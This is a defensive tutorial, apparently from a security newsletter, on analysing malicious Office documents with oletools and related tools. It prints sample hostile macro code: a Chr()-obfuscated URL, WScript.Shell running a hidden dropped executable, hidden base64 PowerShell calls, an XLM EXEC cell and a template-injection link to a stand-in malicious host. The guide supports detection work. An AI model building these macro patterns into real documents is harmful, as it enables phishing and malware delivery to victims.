oletools
Python toolkit for analyzing Microsoft Office documents: olevba (macro extraction), mraptor (maliciousness rating), rtfdump (RTF analysis), msodde (DDE attack detection)
VBA macro
The most common Office malware delivery mechanism: embedded Visual Basic for Applications code that runs when the document is opened with macros enabled
XLM macros
Excel 4.0 (1992-era) macro type still supported by modern Excel: increasingly used by attackers because many AV tools do not scan them as aggressively as VBA macros
Template injection
Office document technique that downloads and loads a remote template from a URL when the document is opened: executes remotely hosted macros without embedding them in the file

SponsoredRetool

Retool's new app builder is where AI-generated code ships safely

Building apps with AI is easy. Getting them to production safely is another story.

Start building for free today

Despite decades of security awareness training, malicious Office documents continue to be one of the most successful phishing delivery mechanisms. Attackers constantly adapt: VBA macros with obfuscation, Excel 4.0 (XLM) macros that evade modern AV, template injection that downloads macros from a remote URL, and embedded OLE objects that execute on double-click.

Analyzing a suspicious document safely requires static analysis: examining the file's structure and contents without executing it in a live environment. The oletools Python package provides the tools needed to extract and analyze Office document artifacts from the command line.

Initial Triage with mraptor and olevba

Install oletools:

pip install oletools
# Or from GitHub for latest version:
pip install -U https://github.com/decalage2/oletools/archive/master.zip
# Installs: olevba, mraptor, oledump, rtfdump, msodde, and others

Step 1: Quick maliciousness assessment with mraptor:

# mraptor scores the document's macro content for malicious indicators
# without fully parsing the macros: good for rapid triage of many files
mraptor suspicious_doc.docx

# Output interpretation:
# Not OLE/OpenXML, or no VBA macros: NOT SUSPICIOUS (green)
# Auto-execute + Suspicious keywords: SUSPICIOUS (yellow)
# Auto-execute + Dangerous actions: MALICIOUS (red)

# Example malicious output:
# mraptor suspicious_doc.docx
# File: suspicious_doc.docx
# Type: OpenXML
# WARNING  mraptor  AutoExec+Suspicious: Auto-exec macros found with suspicious keywords
# Flags: AutoExec, Suspicious, Execute
# Keywords: AutoOpen, Shell, WScript, DownloadFile

# Batch scan a directory:
mraptor -r /investigations/phishing_samples/ --json > triage_results.json
jq '.[] | select(.verdict == "MALICIOUS") | .filename' triage_results.json

Step 2: Full macro extraction with olevba:

# Extract all VBA macro source code from the document
olevba suspicious_doc.docx

# Example output shows:
# Macro found in: suspicious_doc.docx - VBA Macros
# - Auto-exec: AutoOpen
# - Suspicious keywords:
#   'Shell' → Runs system command
#   'CreateObject' → Creates OLE/COM object  
#   'Chr' → Often used to obfuscate strings
#   'WScript.Shell' → WSH shell execution
# MACRO CODE:
# [output of the actual VBA code]

# Get just the suspicious indicators in CSV format:
olevba suspicious_doc.docx --csv > olevba_results.csv

# Or JSON for SIEM ingest:
olevba suspicious_doc.docx --json > olevba_results.json

Analyzing the Extracted Macro Code

Once olevba extracts the VBA code, the analyst needs to understand what it does. Common obfuscation techniques and how to decode them:

Technique 1: String concatenation obfuscation:

' Attacker obfuscates URLs by splitting them across Chr() calls:
Dim url As String
url = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115)
     & Chr(58) & Chr(47) & Chr(47) & Chr(109) & Chr(97) & Chr(108)
     & Chr(105) & Chr(99) & Chr(105) & Chr(111) & Chr(117)
     & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109)

' Decode using Python:
python3 -c "print(''.join([chr(c) for c in [104,116,116,112,115,58,47,47,109,97,108,105,99,105,111,117,115,46,99,111,109]]))"
# Output: https://malicious.com

Technique 2: Environment variable references to construct paths:

' Common pattern to locate and execute a dropped payload
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
Dim tempPath As String
tempPath = wsh.ExpandEnvironmentStrings("%TEMP%") & "\update.exe"
' Download payload to %TEMP%\update.exe, then:
wsh.Run tempPath, 0, False  ' Run hidden (window style 0)

Technique 3: PowerShell execution via macro:

' Very common pattern: base64-encoded PowerShell command
Shell "powershell.exe -NonInteractive -WindowStyle Hidden -enc " & _
      "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0..."

' Decode the base64 in the investigation:
python3 -c "import base64; print(base64.b64decode('JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...').decode('utf-16-le'))"
# This reveals the full PowerShell command including C2 URLs and payload locations

Technique 4: StrReverse and Replace obfuscation:

' Attacker reverses the URL string
Dim url As String
url = StrReverse("moc.suoicilam//:sptth")  ' = https://malicious.com

' Combined Replace + StrReverse:
url = Replace(StrReverse("XXXmoc.suoicilam//:sptthXXX"), "XXX", "")

Automated deobfuscation with olevba --decode:

# olevba attempts to decode common obfuscation patterns automatically:
olevba --decode suspicious_doc.docx
# Shows decoded strings where possible, flagging encoded content

# For heavy obfuscation: ViperMonkey (VBA macro emulator)
pip install vipermonkey
vmonkey suspicious_doc.docx
# VipeMonkey emulates the VBA execution without running the actual payload
# Extracts C2 URLs, shell commands, and dropped file paths from obfuscated macros
Free daily briefing

Briefings like this, every morning before 9am.

Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.

Excel 4.0 XLM Macro Analysis

Excel 4.0 macros are stored differently from VBA: in hidden worksheets as cell formulas rather than compiled code. olevba does not analyze XLM; use specific XLM tools.

# Check if a file contains XLM macros:
msodde suspicious.xlsx  # Also detects DDE attacks in Excel
olevba suspicious.xlsx  # May show XLM presence in the summary

# Dedicated XLM analysis tool: XLMMacroDeobfuscator
pip install XLMMacroDeobfuscator
xlmdeobfuscator --file suspicious.xlsx

# Example XLM malicious cell content (as written in the sheet):
# =EXEC("cmd /c powershell -w hidden -enc JABjAGwAaQBlAG4AdAA...")
# =HALT()

# XLMMacroDeobfuscator output:
# CELL:B1, =EXEC(cmd /c powershell.exe -w 1 -NoP -NonI -W Hidden -Exec Bypass -Enc [base64])
# C2 URL extracted: https://192.168.1.100/payload.exe

# ViperMonkey also handles XLM in some versions
# OLEDUMP with XLM plugin:
pip install oledump
ole dump.py --plugin plugin_xlm_macro suspicious.xlsb

OLE Object and Template Injection Analysis

Analyze embedded OLE objects:

# List all OLE streams in a document:
oledump.py suspicious_doc.doc
# Output:
# 1:    114 '\x01CompObj'
# 2:   4096 'WordDocument'
# 3:   4096 'Table'
# 4:     76 'Macros/PROJECT'
# 5:  12288 'Macros/VBA/ThisDocument'  <- VBA code here
# 6:   2048 'Macros/VBA/Module1'
# 7:   1024 'ObjectPool/_1735294802/\x01CompObj'  <- Embedded OLE object

# Extract and analyze a specific stream:
oledump.py suspicious_doc.doc -s 7 -d > embedded_object.bin
file embedded_object.bin  # Determine file type
# If it's a PE: run against VirusTotal hash or dynamic sandbox

# Check for embedded executables:
oledump.py suspicious_doc.doc --plugin plugin_biff8  # For XLS
for i in $(oledump.py suspicious_doc.doc | awk '{print $1}'); do
    oledump.py suspicious_doc.doc -s $i -d | file - 2>/dev/null | grep -q 'PE32' && \
    echo "Stream $i contains PE executable"
done

Detect template injection:

# Template injection stores the remote URL in the document's relationship file
# Examine the .rels files in the OOXML ZIP structure
unzip -p suspicious_doc.docx word/_rels/settings.xml.rels
# Output may show:
# <Relationship Type="...attachedTemplate"
#   Target="http://malicious.com/templates/normal.dot"
#   TargetMode="External"/>

# Or use:
olevba --reveal suspicious_doc.docx  # Shows template URL if present

# Detect programmatically:
python3 -c "
import zipfile
with zipfile.ZipFile('suspicious_doc.docx') as z:
    for name in z.namelist():
        if '.rels' in name:
            content = z.read(name).decode('utf-8', errors='ignore')
            if 'http' in content and 'attachedTemplate' in content:
                print(f'{name}: Template injection found!')
                print(content)
"

Extract all IoCs from document analysis:

# Combine outputs and extract IoCs:
olevba suspicious_doc.docx --json | python3 -c "
import json, sys, re
data = json.load(sys.stdin)
for item in data.get('macros', []):
    code = item.get('code', '')
    # Extract URLs
    urls = re.findall(r'https?://[^\s\"\x27]+', code)
    # Extract IP addresses
    ips = re.findall(r'\\b(?:\\d{1,3}\.){3}\\d{1,3}\\b', code)
    # Extract file paths
    paths = re.findall(r'[A-Za-z]:\\\\[^\\s\"\x27]+', code)
    print('URLs:', urls)
    print('IPs:', ips)
    print('Paths:', paths)
"
# Submit extracted URLs and IPs to VirusTotal or threat intel platform

The bottom line

Malicious Office document analysis starts with mraptor for rapid triage (detects auto-exec + suspicious keywords in seconds), then olevba for full macro extraction and automated deobfuscation of Chr() string concatenation, StrReverse, and base64 patterns. For Excel 4.0 XLM macros, use XLMMacroDeobfuscator. Check for OLE embedded executables with oledump and inspect .rels files for template injection URLs. Extract IoCs (C2 URLs, IP addresses, dropped file paths) from the deobfuscated macro code and submit to VirusTotal or your threat intel platform for corroboration.

Frequently asked questions

How do you safely analyze a suspicious Word document?

Use static analysis tools that do not execute the document: olevba (pip install oletools) extracts and displays all VBA macro code with a maliciousness assessment; mraptor provides a rapid triage verdict (NOT SUSPICIOUS / SUSPICIOUS / MALICIOUS); oledump.py lists all OLE streams including embedded objects. For XLM macros in Excel files, use XLMMacroDeobfuscator. Unzip .docx/.xlsx files to inspect .rels files for template injection URLs. Never open the document in Office without a sandbox environment.

What is VBA macro obfuscation and how do you decode it?

VBA macro obfuscation hides the malicious code from AV scanners using techniques like Chr() string concatenation (chr(104) & chr(116) = "ht"), StrReverse (reversing URL strings), Base64 encoding in PowerShell calls, and Replace() with placeholder characters. Decode Chr() with Python: chr(104) = 'h'. Decode StrReverse by reversing the string. Decode Base64 PowerShell commands with base64.b64decode() using 'utf-16-le' encoding. olevba --decode automates many common patterns.

What is olevba and how do I use it to analyze a malicious Office file?

olevba is part of the oletools Python package: it extracts and analyzes VBA macros from Office files (doc, docx, xls, xlsx, xlsm, ppt) without executing them. Install with 'pip install oletools'. Run 'olevba -a suspicious.docm' for a summary of suspicious indicators, or 'olevba suspicious.docm' for the full macro source code. olevba flags indicators like auto-execution macros (AutoOpen, AutoExec, Document_Open), suspicious keywords (Shell, CreateObject, WScript), and obfuscation patterns. It also auto-decodes many common Chr() and Base64 obfuscation patterns. Always analyze in an isolated environment: even static analysis tools occasionally trigger macro execution if the toolchain is misconfigured.

What is a polyglot file and why are malicious documents using them?

A polyglot file is a file that is simultaneously valid in two or more file formats. Attackers create files that are both a PDF (appearing harmless in security tools that check file headers) and an HTML Application (.hta) or ZIP containing malicious content. When opened with a PDF viewer, it looks like a benign document. When saved with a different extension or processed by a different parser, it executes malicious code. Polyglots defeat content-based security controls that rely on file extension or MIME type alone. Detection: validate file type by content inspection (magic bytes, structure parsing) not just extension; use tools like TrID or file command to identify the true format of uploaded or received files.

How do I analyze a suspicious Office document in a safe environment?

Sandboxed dynamic analysis: upload to a free sandbox (Any.run, Hybrid Analysis, or Joe Sandbox Community) and observe the execution behavior — network connections, dropped files, registry modifications, and process spawning. The sandbox shows what the macro does when executed, including decoded URLs and second-stage payload delivery. For static analysis without execution: use olevba for VBA extraction, ExifTool to read metadata (author name, creation date, document history — sometimes reveals the attacker's environment), and Didier Stevens' tools (pdf-parser, rtfdump) for PDF and RTF files. Never open suspicious files directly on a Windows host: use a throwaway VM with network isolation, or a sandbox service.

How do you extract and pivot on C2 infrastructure from a malicious Office document when the macro URL is encoded in multiple obfuscation layers?

Work through obfuscation layers iteratively: first run 'olevba --decode' to strip simple Chr() and StrReverse patterns, then manually evaluate any remaining concatenated string expressions in a Python interpreter using a safe eval wrapper that substitutes VBA built-ins (Chr, StrReverse, Replace) with Python equivalents. For macros that use environment variables in path construction, substitute known Windows values (%TEMP% = C:\Users\username\AppData\Local\Temp) and reconstruct the full command string. If the macro invokes PowerShell with a Base64 payload, decode with 'base64.b64decode(data).decode("utf-16-le")' -- VBA-generated PowerShell encoded commands use UTF-16-LE, not UTF-8. Once you have the plaintext C2 URL, query VirusTotal for that domain or IP and pivot to passive DNS records using RiskIQ or SecurityTrails to identify other domains on the same infrastructure: attackers often reuse hosting providers and IP ranges across campaigns, allowing you to build a broader block list from a single document analysis.

Sources & references

  1. Philippe Lagadec: oletools Documentation
  2. Didier Stevens: oledump Tool
  3. SANS: Analyzing Malicious Documents Cheat Sheet

Free resources

25
Free download

Critical CVE Reference Card 2025–2026

25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.

No spam. Unsubscribe anytime.

Free download

Ransomware Incident Response Playbook

Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.

No spam. Unsubscribe anytime.

Free newsletter

Get threat intel before your inbox does.

50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.

Unsubscribe anytime. We never sell your data.

Eric Bang
Author

Founder & Cybersecurity Evangelist, Decryption Digest

Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.

Black Hat Giveaway

Win a $2,495 Black Hat pass.

Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.

Joins Decryption Digest daily briefing. Unsubscribe anytime.

Giveaway: Black Hat USA 2026 Full-Access Pass ($2,495 value)

Details →
Daily Briefing

Subscribe to enter the giveaway

Every subscriber is automatically entered. You also get daily threat intel every morning: zero-days, ransomware, and nation-state campaigns. Free. No spam.

Already subscribed? You're already entered.

Giveaway

Win a $2,495 Black Hat USA 2026 pass.